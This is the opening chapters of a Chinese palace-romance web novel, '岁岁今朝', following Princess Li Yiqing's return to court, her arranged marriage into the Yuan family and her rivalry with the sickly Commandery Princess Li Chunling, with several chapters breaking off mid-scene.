《岁岁今朝》
1. 天子赐婚
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大庆朝，皇宫。
悠扬的丝竹声缓缓从一众浅黄色纱裙的乐伶手中流淌而出，清丽婉约的调子柔和典雅。
入席的宾客都有意无意放低了自己的声音，生怕一不小心就破坏了这份惬意舒然。
按照宫中以往惯例，太后的寿宴本只需要皇族宗亲内部聚一聚就算完事，但今年科举，一甲三人尽是少年英才，顺称帝圣心大悦，才有了今日这场宴会。
*
坤宁宫内。
衣着百花金丝朝服的女人一边帮顺成帝整理衣服，一边轻声问道：“陛下，今儿太后生辰，清儿她会回来的吧？”
顺成帝闭着眼眸任皇后动作，闻言笑了出声：“清儿前些日子写信给我，说是已经快到京城，不过在郊边偶遇桃花林，觉得煞是好看，这才又耽误了几日。”
皇后闻言有些吃味，也不帮他整理衣袍了，兀自坐在软席上，闷声道：“果然清儿还是和陛下亲近，转眼一年，都不知道给母后写上一封。”
顺成帝心中畅快，但是面上装的从容大度：“皇后这也不开心？清儿告诉你我不都一样，就别计较了。”
皇后瞪了他一眼。
顺成帝率先败下阵，他走到皇后身边，伸手拿起皇后的手，放在手心低声哄着：“时间差不多了，别让母后等急了，嗯？”
掌心里的手触感柔嫩，白皙润泽，吹弹可破，一看就是平日里好生养着的。
皇后抽回手，别过头道：“嗯。”
*
两人走到宴席上时，太后已经到了，虽然年过花甲，但是在她的身上丝毫看不见岁月留下的痕迹，一身华服衬得整个人精神焕发。
顺成帝携皇后走到近前，语气温和道：“母后近来气色看着好了不少。”
“少了那小猢狲的捣乱，哀家饭用得都香了几分，怎么不好？”太后看了顺成帝一眼，“可说哪天回来？”
顺成帝讪讪道：“这几日母后寿诞，清儿必会赶回来。”
太后闻言，本平静的面色绽开了笑意：“都入席吧。”
顺成帝松了一口气，挥手让跪拜的臣子命妇起身。
席上一片和乐，丝竹缕缕，觥筹交错，欢声笑语不断。
忽然，一个内宦快步越过众人，走到顺成帝身边，附耳小声说了几句。
太后本正在和上前问礼的安国公夫人交谈，见到这一幕，忍不住侧头问身边的皇帝：“何事这么开心？”
顺成帝没有隐瞒，笑道：“清儿已经入了城门，说是给您准备了惊喜，讨您开心。”
“小皮猴子，终于在外面待不住了，”太后佯装皱眉，“要是乖乖在哀家身边待着，学得铭华大长公主几分端庄雍容，哀家便心满意足了。”
顺成帝心疼女儿，连声为女儿开脱道：“清儿知道分寸，不过稚子心性，无伤大雅。”
“清儿这么个性子，全是你和皇后给惯的，”太后不悦道，“清儿本是大庆尊贵的嫡公主，原先就常被朝臣弹劾，现在怕是更……”
太后话音未落，一道璀璨明亮的光束猛然升上天空。
*
“咻——”
“快看，哪来的烟花啊！”
“瞧这个方向，是玄武门那边。”
“往年的烟花都是固定的，今日倒是觉得图案很像桃花，这莫不是司礼监的巧思？”
底下官宦女眷目露惊奇，兴奋地交谈着。
顺成帝也被烟花吸引了视线，缓了会神，问身边的皇后：“这是你的意思？”
皇后微微抿唇，忽然想到了什么，目光轻柔地看着漫天的烟花。
“东风夜放花千树，更吹落，星如雨【1】。此等美景巧思，陛下以为是谁的手笔？”
*
未等顺成帝反应过来，一个小太监匆匆朝这边跑来，气喘吁吁，声音中有遮掩不住的兴奋：“陛下，娘娘，公主回来了！”
皇后当即站起身子，认出眼前小太监正是李意清的近身仆侍洛石，连忙问道：“清儿到哪了？”
洛石站定，弯腰扶着双膝，喘着气道：“娘娘，殿下她、就在后面呢。”
皇后立刻凝神朝后望去，一道灿金色宫装的身影提裙而来。待走近了，才看清来人一张明艳鲜妍的面庞，皓齿明眸，粲然如珠。
一年多的在外游历，非但未洗去她身上的矜贵，反倒多添了名门贵女中不常见的英姿飒爽。
“孙儿拜见皇祖母，祝皇祖母寿诞祥康，福寿绵长。”
李意清朝坐在上位的太后拜礼，不等回复，站了起身，回身指着夜空花火满面笑意：“皇祖母，父皇母后，此烟花名为‘岁岁今朝’，是清儿雨中逢花亲笔所绘，好不好看？”
太后轻轻摇头，嘴角却是控制不住的笑。
“偏生你最古灵精怪。”
皇后则不像众人一样被空中的烟花吸引视线，目光温和地落在李意清身上。
细心如她，很快就发现女儿瘦了，皮肤也不如以往白皙光洁，想来在外吃了不少的苦头。
*
不同于台上的欢声笑语，一派和乐，底下的朝臣宗亲却在得知这是意清公主的手笔时，纷纷变了脸色。
鉴于顺成帝都在，官宦女眷们不敢明目张胆大声议论，只敢私下里小声交谈。
“意清公主怎么回来了。”
“想来也是，这种奇技淫巧，偌大的皇城中还有比她更擅长的吗？”
“这意清公主身上怎么了？”
“你家大人刚刚从益州郡调任，自然不知道这位大名鼎鼎的意清公主，”妇人压低了声音，“陛下仁和，皇后娘娘德贤兼具，这位公主谁也不像，满肚子离经叛道。”
另一个妇人道：“何止是离经叛道，听闻公主年少时张扬妄为，十岁的时候养了一只海东青，把还在怀孕当中的贤妃娘娘惊到了，险些难产，幸好先祖庇佑，五皇子才能顺利诞生。”
“十三岁与焦阳伯府的小公子比赛骑马，害的那位小公子在马上摔断了腿。”
“去年的时候，更是将在张太妃身边养病的月阳郡主害了，听说郡主病弱至今难以下床。宗亲参了几十本奏折，她实在没法，才出宫避风头的。”
从外地调来的妇人显然不知情，捂着嘴惊讶：“竟然有这些事！”
“还不止呢，被她盯上，准没好事儿，”妇人使了个眼色，隐晦朝上头看了一眼，“可谁让人家是公主呢，每次犯错不都是高高举起轻轻放下，谁敢追究？”
“谁说不是，原先月阳郡主一事，陛下盛怒，后来她走了不到一月，陛下便转变了态度，将弹劾的折子尽数驳回。”
几人说着，暗自看了眼前排的月阳郡主的座位，那里空空如也。
月阳郡主身体孱弱，向太后送礼后便早早离场。
若是让她瞧见意清公主一回来这么大的排场，怕是又要难受一阵子。
*
台下臣妇诰命的窃窃私语，自然没能传到上座。
这场绚丽的烟花，足足持续了一刻钟，才落下帷幕。
太后难得如此高兴，侍候太后几十年的萧嬷嬷温声道：“公主殿下，太后娘娘在慈宁宫常念叨你。你快些上前来，让太后娘娘好好瞧瞧。”
李意清走上前，太后看着她，意味不明地笑了一声。
这一笑无端让李意清生出几分害怕，她看着太后巍然不动地拨着手中的珠串，悄悄侧目看向站在一旁的顺成帝和皇后。
皇后听到了一些风声，接收到女儿投来的视线，避而不见。
顺成帝露出一个爱莫能助的笑，刚准备用唇语嘱咐她几句，便听到太后清了清嗓子。
“清儿今年十七了吧。”
太后垂眸看着李意清鬓角的碎发，没有满头珠翠点
2. 咏桃
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天子金口玉言，赐婚圣旨一下，朝臣纷纷极具眼色地出声道喜。
李意清看着满堂喜色中，一身青竹白衣的青年站在元相身边，因为是低着头，她看不清他的神情，只能看见元相死死拽着青年的袖袍。
大概是不情愿的。
李意清只看了须臾，便收回了视线，注意力回到今日寿宴的主角身上。
太后神色如常，继续与前来拜寿道喜的各位夫人交谈，李意清坐在她身边，百无聊赖的剥着桌上的供果。
她的动作被太后尽收眼底，太后抿了杯中新酿的杏酒，放下杯子道：“哀家年迈，有些累乏，皇帝与诸卿尽兴就好。”
说罢，看向李意清。
“意清，哀家许久不见你，随哀家去慈宁宫吧。”
虽然是商量的语气，但是却带着不容拒绝的威严。
李意清放下手中剥了一半的橘子，站起身回礼，扶着太后离开了。
*
离开宴会，太后遣散身边跟随伺候的奴仆，只留下近身的萧嬷嬷。
李意清原先落后一步跟在太后身后，见太后放慢了步子，便抬步追平，“皇祖母……”
“也是难为你，在宴席上憋到现在才开口。”太后似乎早知道李意清会忍不住开口，瞥了她一眼道，“不过你也不必再说，君无戏言，此事已经满朝皆知，等司天鉴算出良辰，便是让礼部着手准备大婚仪仗。”
李意清摇了摇头：“赐婚我并不意外，而是好奇祖母与父皇为何会选择元家。”
太后对于她的提问有些意外。
“看来一年多的游历，让你想通了不少事。”太后微微沉吟，“元家乃江宁世家，大庆王朝屹立一百七十三年，可论存在时间和积攒底蕴，也难以比得上这些传承了数百年的世家，如今天子有意祛除世家沉疴，可却不能一蹴而就。”
“元家虽清正行事，但元相两朝元老，在江南世家一代享有盛名，不少世家追随，你与元家那个孩子成婚，一来可以平复朝中日益紧张的局势，二来……也能让一些人放松警惕。”
李意清道：“元家虽为几大世家首领之一，但是自元相后一直走科举，族中子侄鲜少享受恩荫。如果是为了掣肘，颍州孟家更加合适。”
“颍州孟家在颍州盘踞百年，其中龙潭虎穴，你父皇哪里舍得。”太后摇头笑了笑，“元家那孩子不同，三岁启蒙，饱读诗书，为人端正，你太子皇兄也是点过头的。”
李意清很小就知道自己的婚事难以随心所欲，听到太后的利害分析，也只点了点头，“意清明白了。”
太后看着她明艳的面庞，眼神明亮清澈，不染一分杂质，有几分感慨。
“旁人说你傲气骄矜，哀家却是知道你的，”太后伸手，轻轻抚摸着李意清身边的碎发，“好孩子，每一个选择只占三成，剩下的七成靠自己经营才是正理。”
李意清闻言，忍不住笑了出来：“祖母说得对，无论在哪儿，清儿都会活的很好。”
太后看着她脸上的笑，像是透过她看到另一个人。
萧嬷嬷看出太后的失神，弯腰对李意清福了福身子，“公主殿下，太后娘娘怕是累了，奴婢先送她回去吧。”
李意清看忽然之间陷入哀伤的太后，心知皇祖母现在怕是只想一个人静静待着，便朝萧嬷嬷点点头：“路上慢些，回去给祖母炖一碗红枣银耳，她今日用的不多。”
萧嬷嬷点点头，“奴婢知道。”
说完，便搀扶着太后离去。
*
嫦月殿中，浅淡的熏香从瑞兽戏莲香炉缓缓升起，室内的桌面擦拭得一尘不染，李意清一进门，就被一道身影扑住，那声音带着哭腔，“殿下，您可算回来了。”
李意清感受到背后传来的湿漉，顺手拍了拍她的肩膀，“别难过了，我这不是好好的回来了吗？”
小丫头闻言，松开自己的手后退几步，上下认真打量着李意清。
李意清看着她脸上的泪痕，心中一片柔软。
这人名叫茴香，三岁起就在嫦月殿伺候，比她还要小两岁。去年她趁夜出宫，心知远行无车马护卫，便没有带上茴香。
茴香擦了擦眼角的泪水，朝李意清露出一个笑：“殿下一路风尘，奴婢去给殿下烧水。”
李意清笑道：“不急于一时。”
可是茴香怕留在殿内失态，匆匆忙忙就跑了出去。
嫦月殿伺候的人少，现下洛石和茴香都不在，偌大的宫殿显得有几分冷清。
李意清还没有细看宫殿的变化，皇后身边的掌事姑姑就带着一大片人浩浩荡荡来了。
“殿下，之前伺候您的人有些年岁到了已经出宫，还有些被重新分配了差事，皇后娘娘担心你人手不足，特意拨了四个宫女和四个小黄门。”
李意清顺掌事姑姑的声音一一望去，对八个人有了基础的印象。
“这是茗禾，厨艺上佳，别看年岁小，已经在御膳房学了十年了，旁边站着的是兰澈，会的时兴发髻多。”
掌事姑姑着重点了站在前排的两个姑娘。
两人被点到名，立即朝着李意清福了福身子。
“还有这一位，毓心，在娘娘身边伺候三年了，很是稳妥，是这批宫女里唯一一位二等宫女。”
“人我就收下了，”李意清微笑着点头，知道这是皇后提前在为出宫开公主府做准备，并未多加推辞，“等我收拾妥当，再去向母后谢恩。”
掌事姑姑事情办妥，并未久留。
李意清看着站在殿内的八个人，嘴角扬起一抹笑，“你们是母后送给本殿的人，我自然是都放心的，日后随我去了公主府，都是能独当一面的。”
能被皇后选中，几人自然都有本事。
而且拨来伺候公主，不必掺和宫廷琐事，只需要照顾好公主和未来的驸马，便能顺风顺水过下去。
几人心里门清，听了李意清的话，纷纷笑着谢恩，领了活计就忙去了。
毓心被李意清留下了殿内伺候，嫦月殿之前一直是她的乳母澜嬷嬷主事，年前澜嬷嬷告老，回益州老家养老去了。而茴香年纪尚小，皇后正是考虑到了这一点，才特意指了毓心过来。
匆匆赶了一天路，李意清处理完事情，便一阵困意上涌，毓心静静站在一侧，见李意清抬手揉着额头，上前道：“奴婢在太医院学过几手，殿下可要试试？”
李意清默许了。
茴香烧好水进来时，李意清刚好睁开眼睛，沐浴完后，天色已然漆黑一片。
李意清吩咐茴香点灯，取出在宣歙一代采买的笔墨，摊开八尺长的画布。
她一边添水磨墨，抽空瞧了一眼窗外。
“看动静，宴席已散。”
“戌时一刻，宫门还差三刻钟就落锁了。”茴香点完灯，走到李意清身边，看着画布上初具雏形的山河图。
见她过来，李意清停下手中动作，自然而然将墨条递给她，拿起润过的笔，在原有的基础上继续作画。
“殿下，元公子派人送了一个锦囊。”
宫女站在殿外，恭声道。
“元公子……”茴香磨墨的手一顿，忍不住看向垂眸专注，似乎没有听到的李意清，“殿下？”
“稍候，”李意清面色如常，似乎并未受到影响，不慌不忙将手上最后几笔画完，将搁下笔，拿起帕子擦了擦手，“呈上来。”
宫女立刻将锦囊递给李意清。
锦囊入手，一阵雨后青竹的气息缓缓传出，李意清捏了捏，察觉到其中夹着的纸张，打开了锦囊。
在打开纸张时，李意清设想过警告、抵抗甚至是求和。
却没想过是一
3. 珍鸟图与打断腿
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大概是回到了皇宫，不像以往在宫外操心睡在何处，李意清难得好好休憩了大半个月。
晨起后，兰澈帮李意清盘好发髻，便着手吩咐人传膳。
毓心从外走来，见李意清正在用膳，弯腰行礼，得到许可后，轻声道：“殿下，司天监已经算出良辰，九月初五。”
茴香正在布膳，闻言有些意外，“这么急？”
虽然现在才四月初，但是大婚时的陪嫁、婚服、金银头面和公主府，都是需要慢慢打磨的。
“金银首饰，皇后娘娘在殿下及笄那年就开始着手准备，现在这些日子倒是足够的，至于府邸，陛下已命人将圣祖皇帝昭化公主府修缮，七月之前，必能竣工。”
毓心微顿，接着道：“不过婚服，因为公主还在生长，怕提前做大小不合身，故而……不过殿下不必担心，娘娘吩咐司绣署全力赶制，决不会误了时辰。”
李意清自小生活在皇宫，自然知道一件正式场合用衣裳有多繁琐。
从画样，过目获准，选定面料丝线和绣法，最后将天南地北层层挑选出的珍贵宝石镶嵌上去，无一不需要细细斟酌。
“我去司绣署看一眼。”李意清站起身，放下手中吃了一半的糕点，“既然吉日已出，他们要不了几天自然就会来量尺寸大小。”
茴香跟在李意清身边，拿着手中帕子将李意清指甲缝隙中的糕点渣擦拭干净。
*
司绣署门口，听到公主要来的消息，管事的一众姑姑等候在门口。
李意清免去众人的礼节后，在一个个绣架前微微停留。
她每停留一个绣架，坐在位置上的绣娘便绷紧了身子，一动不敢动。管事的大姑姑看着李意清的神色，知道她有意通看一遍，便没有擅作主张开口推荐。
前堂一共有十二座绣架，后堂还有三台丁桥织机以及一台上贡的束综花楼织机。
除了束综花楼织机，其他都在运转当中。
束综花楼织机体型大，约莫一丈高，得上下两人才能使用，一人负责挽花，一人负责织造，现下司绣署都紧着公主大婚婚服这件事，暂抽不出人手。
李意清看了一轮下来，微微颔首。
“司绣署手艺愈发精进。”
管事的大姑姑心底松了口气，笑着引导李意清走到朝里一侧六个绣架前，道：“殿下，此次你大婚用的嫁衣，便是她们六个负责。这位是鹊娘，别看年纪不大，却是一把好手，其他五人以她为主。”
鹊娘人如其名，嘴角上扬，目光清明，天生一副笑脸。
见到李意清视线移来，立刻懂事地弯腰行礼，“奴婢请殿下安。”
李意清微微抬手，并未在鹊娘身上关注太久，而是看向管事姑姑，“本殿的嫁衣，还要姑姑多费心。”
管事姑姑立刻点头哈腰：“殿下您就放心，司绣署上下绝不会有一丝马虎。”
嫁衣的样式还在设计中，李意清量了尺寸，便出了司绣署。
*
回去路上，李意清看到一道熟悉的身影。
张太妃的孙女，月阳郡主，李淳令。
茴香显然也看到了，小声道：“真是晦气。”
“意清姐姐，”李淳令主动上前，手搭在贴身侍女的手上，“姐姐回来，我本该去嫦月殿拜访，但是身子一直不太好，故而耽误了。”
李意清看着她说几句就用手帕捂嘴，一副弱不禁风的可怜模样。
“你既然身子病了，”李意清抬手轻拨头顶的珠钗，“就该好好待在府中休养，而不是满皇宫乱跑。”
“殿下这话未免伤人，我们郡主病弱，还不是拜殿下所赐。”李淳令身边的侍女不平道。
“云藻，不得失礼。”李淳令呵斥住下人，面容苍白无力，她看向李意清，“我知道姐姐素来不喜欢我，可是得知姐姐大婚，我是真心想来送上祝福。”
一边说着，一边指挥下人呈上木盒，“这是妹妹的一点心意。”
李意清随意看了眼木盒中的珍鸟刺绣，眼中嘲讽一闪而过。
“姐姐贵为公主，想来对四海奇珍也没什么在意，”李淳令抚摸着刺绣，“此锦缎妹妹亲手绣成，耗时七个月，还望姐姐莫要嫌弃。”
“你绣孔雀，题字‘以待秋期’，你自己安得什么心，还需要我点破？”李意清神色冷淡，“这幅珍鸟，你还是自己留着吧。”
说完，不再看李淳令，直接越过她离开。
李淳令搭在刺绣上的手微微一僵，一双将泪未泪的眼眸看着李意清离开的方向，微微垂眸。
身边的侍女看不下去，宽慰道：“郡主，你一番心意，旁人不懂珍惜，你可不要和自己怄气。”
李淳令深吸一口气，缓缓道：“我知道。”
“我只是没想到，当初被我一激就会大发雷霆的李意清，现在居然能忍下来了，看来这一年，她变化当真不小。”李淳令吩咐人将木盒重新盖上，意味不明地笑了笑，“不过这么好的绣品，却送不出去，着实可惜。”
身边的侍女看着犹如变了一个人般的李淳令，忍不住哆嗦，“郡主。”
李淳令用手绢捂住嘴，一阵撕心裂肺地咳嗽之后，她恢复到以往的从容笑意，“走吧，既然於光公主今日有事，我们改日再来拜访。”
*
回到嫦月殿后，茴香还在为李意清打抱不平，“殿下，你就应该让我去撕了那副绣品，她分明不安好心。”
李意清看着她气鼓鼓的样子，心里的那一丝怒意忽然消散，她笑吟吟道：“若是撕了，她立刻哭起来，然后哭的合宫皆知，母后碍于情分不好插手，最后又是她哭她有理，我被训斥一通。”
李意清摇了摇头，伸手给自己倒了一杯茶，道：“何必呢？”
“可是……”
“反正也没收下，随她折腾去。”
李意清坐在书案前，拿了一支松烟墨端详。
*
过了午时，洛石送来两张拜帖。
毓心打开名帖看过，道：“殿下，是盛家大姑娘和柳家三姑娘的帖子。”
李意清闻言抬头，放下手中的书，“她们可算是想起我了。”
毓心不明所以。身旁的茴香解释道：“盛家大姑娘和柳三姑娘打小与我们殿下交好，七八年的情谊。”
毓心恍然。
“明日午时，”李意清看完拜帖，折好放在书案上，偏头问还在殿中的洛石，“我们回来之际，可有带什么京城不常见物件？”
洛石挠了挠头，低声道：“殿下，我们走得匆忙，身上银钱本就不足，到了后期身无分文，还是寻了秦州刺史才凑够回京的银两。”
李意清：“……”
她摆了摆手，“也罢。”
“殿下原来是身上没钱，才想着回宫。”茴香蹙眉，“若是在外能挣到银钱，岂不是一直都不回来？”
李意清像是被勾起了回忆，招呼毓心、洛石一道坐在下首，一本正经开口道：“本殿下真尝试了做生意。”
洛石全程跟在李意清身边，自然知道的一清二楚，见李意清不好意思继续往下说，身边毓心和茴香又目光灼灼，于是开口道：“殿下与我出了京城后，城郊叫不到马车，走了两个月，有时天色已晚找不到客栈，被得爬上树凑合一夜。后来好不容易到了汾州，殿下又染上了风寒，我当时慌极了，恨不得立刻传书回皇城，还是殿下拦住我。”
李意清咳了一声，“不值一提。”
“那场风寒过后，身上银钱去了大半，可是好不容易在汾州落定，总不能直接坐吃山空打道回府，所以殿下学着话本做生意。在县里收了一批布料，准备带到郡城去买。可是没想到，去岁汾州收成不好，粮食屯了自己足食和交了税收，家家户户手里没有余钱，殿下的一批上等布料，就这么砸在了手里。”
毓心和茴香听得极其认真。
“后来殿下没法，只好按比进价还低两成的钱来卖，后来实在卖不动了，殿下也想去别的地方看看，于是裁了三身冬衣，带上就上路了。”
毓心心里盘算了一番：“如此看来，在汾州待了足足快有半年时间？”
“五个月零七天，走的那天九月十七，九月里京城尚且枫红似火，但汾州晨起满地白霜，与京城风光大不一样。”李意清想起汾州的经历，忍不住笑了，“以后若有机会，我带你们去瞧。”
洛石继续道：“接着便又是赶路，殿下远见，买了一头牛用来拉车，诸位姐姐不知，北地冬天来得早，若是靠走路，怕是要冻死在路上。”
茴香：“呸呸呸，胡说什么。”
“是我失言，”洛石使劲拍了拍自己的嘴，“紧赶慢赶，在十月底进了熙州城，再往北走群山连绵，天气又冷，殿下便在熙州下的临洮赁了一个小院子，得闲便外出捡柴，一直捡到十二月，大雪封山，才老老实实呆在院里，看北地银装。”
李意清道：“这还要多亏了洛石。身上功夫好，时不时
4. 再遇李淳令
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转眼间四月中旬。
晨起皇后派人来传了话，说是婚服的花纹已绘制完毕，只等娘娘和殿下掌眼。
李意清昨夜睡得好，今日早膳用得格外香，一碗清炖老鸡汤白米粥，一碗烩时蔬，还加上一盘奶皮酥，用得干干净净。
吃饱喝足，李意清随口对毓心道：“茗禾手艺好，你稍后去我的妆匣拿一支碧玉珍珠簪子送给她。”
毓心将净手的水盆放在桌上，闻言道：“那奴婢先代茗禾谢过殿下。”
茴香道：“每每入夏，殿下胃口就差了，你去记得让茗禾姐姐多费点心。”
毓心自然应下。
收拾妥当，李意清带上毓心和茴香，一道去了坤宁殿。
*
李意清刚踏入坤宁殿，便听到里面传来一阵阵欢声笑语。
难道各宫妃嫔请安还没散？
李意清有些意外，但脸上的面色不变，进门后露出恰到好处的笑容，一一行礼道：“儿臣拜见母后，各位娘娘安好。”
坐在主位的皇后满面笑容，“清儿，过来。”
右侧首席的淑妃端着茶盏，轻笑道：“臣妾等人给娘娘请安，听说司绣署送了款式图样，便留下来瞧个新鲜。”
“是该好好瞧瞧，毕竟妹妹出身微寒，见不着什么好东西，”一旁的贤贵妃半掩红唇，语气讥讽，“於光公主乃是大庆嫡公主，一应物品制式自然是你没见过的样。”
淑妃被人讽刺，也并不恼，只笑着道：“是我沾了皇后娘娘和公主的福，不过话说回来，纵使贤贵妃娘娘出身伯爵府，想来也不曾见过金乌折枝、九凤展翼，以及鎏金玉石海龙纹。”
贤贵妃一时语噎，瞪了淑妃一眼，站起来道：“五皇子还在宫中等臣妾，臣妾便先告退了。”
说完，也没有看皇后，搭着身边侍女的手就施施然出去了。
皇后并未计较，而是目光柔和地看着李意清：“清儿，来，这是你的婚服，你看看还觉得哪里要修改？”
李意清一张张看过去，从裙裾的瑞兽踏云，到大袖的凤御彩霞，蔽膝、内襟、镶了玉环的腰封、霞帔，每一张都极尽详细。
“母后把关，自然都是稳妥的。”
贤贵妃离去，淑妃成了在场嫔妃中位分最高的，她上前几步，看着图纸上的注解，恭维道：“这内襟布料，是江南新织的月凉缎，触摸上来冰凉沁润，安静宁气，去岁也只织了两匹，一匹送给太后，一匹给陛下裁了两身衣裳，臣妾也只远远瞧见了一眼。”
皇后轻轻抚摸着手上的玉镯，笑了笑：“陛下仁厚，觉得这布料穿着舒服，便下令赏了。”
几个嫔妃眼中不乏艳羡，不过嫡公主大婚，连送嫁都从皇后的坤宁宫走，再去太和殿拜见皇帝，便要出宫，她们想观礼都没资格。
皇后没有在意底下宫妃的小心思，满门心思全放在李意清身上，“今日各位妹妹请安也都累了，各自回宫吧。”
妃嫔虽然各怀心思，但是听到皇后开口送客，也都立刻行礼告辞。
待人散干净，皇后才拉着李意清走到内殿，目光温柔的看着她，“她们吵得母后头疼，再不出声，估计没完没了。”
“母后……”
皇后将李意清从头到脚看了一圈，吩咐身边侍女去取来妆奁，取出一支雕花金钗，“这支金钗是母后出嫁时，你外祖母托人打的，本是一对，你太子哥哥成婚时，我送了一支给你嫂嫂。去年你一声不吭一走了之，我在宫里急坏了，怨你说走就走，恼得让人收了起来。”
李意清有印象，太子大婚那天，她确实在嫂嫂头上看见了。
看皇后还有些感怀，李意清佯装沉思，“既然母后心里还堵着一口气，那不如等母后气消了，再为清儿亲手别上？”
“也是，当初你音讯全无，生你还不如养只猫，”皇后被她逗笑，看着手中的金钗，“可是你一回来，我看到你笑容灿烂，却又只余下心疼，也罢也罢，你拿着这支金钗快些走，免得本宫反悔。”
殿外传来太医请脉的动静，李意清不再多留，离开了坤宁宫。
*
回去路上，李意清遇到了来给太后请安的李淳令。
李淳令今日并非孤身前往，身边站着一个高挑的公子。
今年正月，张太妃做主，将李淳令许配给昌南侯府次子赵轩辉，想来就是他了。
正面相逢，李淳令自然拉着夫婿，走到李意清身边问礼，“殿下金安。”
说着，十分自来熟地抱住李意清的胳膊，软声道：“看姐姐来的方向，是坤宁殿吧？”
赵轩辉在场，李意清并未落她的脸，不清不淡道：“正是，刚从母后那请安回来，不过现下还有事，就不与你多寒暄了。”
说着，李意清拂开她的手。
李淳令咬唇，一副泫然欲泣的表情，半蜷在赵轩辉的怀中，咳了几声，“上次送的刺绣姐姐不喜欢，这次妹妹只想和姐姐说说话，难道姐姐这也不肯吗？”
李意清冷淡地看着她，“你我有什么可说的？”
“姐姐在北地一路周转，妹妹日夜忧思，想要去信，却无路可去，”李淳令眼中泛着泪光，“姐姐，妹妹是真的关心你。”
话音未落，又响起了一阵撕心裂肺的咳嗽。
赵轩辉揽着李淳令，怒气冲冲道，“於光殿下，我与夫人敬你是公主，故而礼敬有加，而你言辞冷淡，多加嫌弃，可曾顾念丝毫姐妹情谊？”
茴香气笑了，声音不大不小嘟囔了一句，“我以为昌南侯府百年清誉，不成想二公子竟然也是个瞎的。”
“我瞎？”赵轩辉冷声反驳，“我家淳令娇弱心善，蕙质兰心，反观殿下，自恃身份便咄咄逼人，张扬骄矜。两相对比，我护着淳令，何错之有？”
赵轩辉振振有词，语罢，语气颇为不屑道：“京中传闻果真名不虚传，殿下应当好好管教身边下人，不至于如此口无遮拦。”
李意清只觉得两人相当碍眼，伸手将茴香的手拉到自己掌心安抚，“茴香是本殿的侍女，该如何教导，陛下和娘娘尚不插手，敢问赵二公子哪里来的脸面，敢对我发号施令？”
5. 云影随波动
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回到嫦月殿，憋了一路的茴香畅快地笑了出来。
“殿下，你刚刚说的好解气。”
李意清坐在书案前，笑了笑，“不过实话实说，算不上什么。”
“赵二公子冲冠一怒，没想到帮的竟然是蛇蝎，可真是笑话，”茴香还在回味赵轩辉失魂落魄的表情，“这下他们回了昌南侯爵府，可有的闹了。”
毓心也用帕子捂嘴笑了笑。
“一句话，一遍是殇，三遍是痛，说上十遍，旁人再共情，也难以感同身受，从而渐渐失去兴趣。”
家家户户，谁人家中不是三天大事两天小事不断，两三句闲言碎语，不过饭后闲谈，又有多少人愿意伸张正义，劳碌奔波。
李意清点头：“正是此理。”
他人唇舌固然伤人，却不过秋后蚂蚱，过了那一阵子，新的事情就会兴起，旧的事情也难以翻起浪花。
况且也只是宫中贵女打闹，无关社会社稷，言官食朝廷俸禄，光是天下民生，便已经分身乏术，参上一本两本，已经是极限了。
毓心上前，为李意清倒茶，轻声道：“往后殿下常住公主府，与昌南侯爵府也没什么来往，此事就翻篇吧。”
她很清楚，殿下的出行，必然和月阳郡主有避不开的联系。
或是当时十六岁的殿下怎么也想不明白，昔日的好友为何故意出言中伤自己，辗转难眠的深夜，彻夜苦思无解。
而月阳郡主，虽然保住了性命，以健康为代价，到头来一无所获，最可笑一年期期艾艾，却不知皇室宗亲见她宛如笑话，凭李淳令的心高气傲，难保心中不会继续怨怼。
而怨怼的目标，不会是茫茫众人，只会继续是李意清。
李意清抬眼看了毓心一眼，对上其清澈坚定的目光，心中微动，立刻就明白了她的担忧。
“不必担心，公主府和昌南侯爵府隔了三条街，以后不会有什么交集的。”
毓心心中暖流流过，“嗯”了一声。
茴香看不懂两人的哑谜，还在高兴终于让月阳郡主吃瘪。
*
於光公主和月阳郡主相遇的事情，并未逃过顺成帝的眼线。
手下宦官来报时，顺成帝正在批阅奏章，闻言，拿笔的手微微一顿，随后继续面不改色道：“昌南侯爵府蒙祖上荫封，直至孙辈也无出彩人才，想来是京中生活太过安逸，少了些磨砺。”
内宦手持拂尘，恭敬道：“那陛下的意思是？”
“岭南山水卓绝，只可惜教化有限，便劳累昌南侯为朕辛苦三年，去岭南任广南转运使，替朕开民智，理民生。”
“昌南侯享爵位食禄，能为陛下尽心，是他的福气，”内宦在陛下身边伺候多少年，一眼就看出顺成帝的心思，“下官去昌南侯爵府传旨。”
*
没过几天，昌南侯爵府受封的消息就在京中传开。
不管是真心祝贺也罢，还是顺势附和，这几日的昌南侯爵府门庭，实打实的热闹了起来。
要说这加封好，偏生是岭南一带，要说不好，昌南侯年纪一把，在京中也只是可有可无的空无爵位的闲散官职。
众人猜不透陛下的用意。
昌南侯爵府内，李淳令砸了五个花瓶，刚欲再砸，便听到门口一阵传呼，“二公子。”
李淳令握住花瓶的手微微一顿。
“这花瓶是曾祖在景德一代购得，一批只有十二只，你不妨砸的动静再大些，把府上所有人都嚷过来。”
赵轩辉踩着一地的碎瓷片进屋。
李淳令放下了手中的花瓶。
“陛下圣旨已下，你收拾收拾，后日随祖父启程，”赵轩辉看着李淳令，“我派人查问了，宫中发生的事情被陛下遮掩下来了，你以后不提，大家总会忘记的。”
李淳令凄然一笑：“好一个都会忘记！我生在京城，养在皇宫，那岭南是什么地方，瘴气横生，虫蛇遍地，我怎么能去！”
赵轩辉无言地看着她。
“你看，我和李意清都姓李，可是她不高兴，皇伯父便不惜将一个侯府外放，”李淳令目光空洞，“皇伯父对我也很好的，他不知道我体弱多病吗？”
赵轩辉看着她，半响，才道：“如果有人蓄意伤害我的孩子，我只会比陛下更恼怒，又怎会全其脸面。”
天子一怒，伏尸百万。
现在侯府荣华具在，丑闻未露，实在是极好的情况了。
李淳令肩膀止不住的颤抖。
“淳令，说到底，此事是你错了，”赵轩辉犹豫片刻，上前扶着她，语气温和，“去岭南未尝不好，那里山清水秀，也没人会知道你曾经的过失，只知道你是来自京城的名门淑女。”
“我们重新开始，好不好？”
望着赵轩辉认真的视线，李淳令宛如被烫了一般，匆忙移开视线。
*
昌南侯爵府全家出城赶往岭南时，李意清正和盛蝉、柳夕年在马场上。
原先定在四月底马场骑马，因着盛大将军奉命接旨前往边关，盛蝉一直抽不出时间，故而拖到了五月。
盛蝉是盛家原配嫡女，但是盛母身体不好，在盛蝉三岁便撒手人寰，盛大将军守了两年，才续娶了现在的妻子张氏。
张氏出身名门，膝下养了两子一女，此番盛大将军前往边关，将大儿子带在了身边。
“盛复银年方十岁，怎么就去了？”
柳夕年与盛蝉同住宫外，来往密切一些，自然都认得盛家人口。
